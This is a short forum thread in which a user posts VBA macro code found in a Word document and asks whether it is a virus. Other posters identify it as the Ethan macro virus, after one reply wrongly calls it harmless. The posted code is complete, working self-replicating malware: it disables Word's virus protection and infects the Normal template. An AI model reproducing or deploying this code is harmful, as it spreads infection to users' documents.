Results 1 to 5 of 5

Thread: VIRUS!!! would this constitute one?

  1. #1

    Thread Starter
    Fanatic Member coox's Avatar
    Join Date
    Oct 1999
    Posts
    550

    Exclamation

    Hi y'all, just found this sitting behind a doc my boss sent me. I saw him create the doc, he just hit the new button and pasted a bitmap into it, so this code got there all by itself. I was just wondering, that's all...

    Code:
    Private Sub Document_Close()
    On Error Resume Next
    s = ActiveDocument.Saved
    Application.EnableCancelKey = Not -1
    With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
    Randomize
    If Dir("c:\ethan.doc", 6) = "" Then
    Open "c:\ethan.doc" For Output As #1
    For I = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(I, 1)
    Print #1, a
    Next I
    Close #1
    SetAttr "c:\ethan.doc", 6
    End If
    If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
    Set t = NormalTemplate.VBProject.VBComponents.Item(1)
    ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
    Set t = ActiveDocument.VBProject.VBComponents.Item(1)
    Else
    t = ""
    End If
    If t <> "" Then
    Open "c:\ethan.doc" For Input As #1
    If LOF(1) = 0 Then GoTo q
    I = 1
    Do While Not EOF(1)
    Line Input #1, a
    t.CodeModule.InsertLines I, a
    I = I + 1
    Loop
    q:
    Close #1
    If Rnd < 0.3 Then With Dialogs(wdDialogFileSummaryInfo): .Title = "Ethan Frome": .Author = "EW/LN/CB": .Keywords = "Ethan": .Execute: End With
    If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
    End If
    If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
    End Sub

  2. #2
    Hyperactive Member compuGEEK's Avatar
    Join Date
    May 1999
    Location
    Mpls,MN,USA
    Posts
    281
    Your boss has a cool little program there, but it's definitely no virus, it's functionality.

    It's unfortunate that virus writers take advantage of the functionality that is available to everyone.

    It makes me want to take a garden shears and snip off their fingers one by one.....

  3. #3
    Guest
    ONLY the fingers?

  4. #4

    Thread Starter
    Fanatic Member coox's Avatar
    Join Date
    Oct 1999
    Posts
    550
    Huh? Can you explain that, compuGEEK? I just ran it through McAfee and it said it was an Ethan virus or something. Any ideas what it's supposed to do? Apart from replicating itself, that is....

  5. #5
    PowerPoster BruceG's Avatar
    Join Date
    May 2000
    Location
    New Jersey (USA)
    Posts
    2,657
    You sure do have a virus, the Ethan word macro virus. Here's what Norton has to say on it:

    http://www.symantec.com/avcenter/ven...7.ethan.a.html
    "It's cold gin time again ..."

    Check out my website here.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width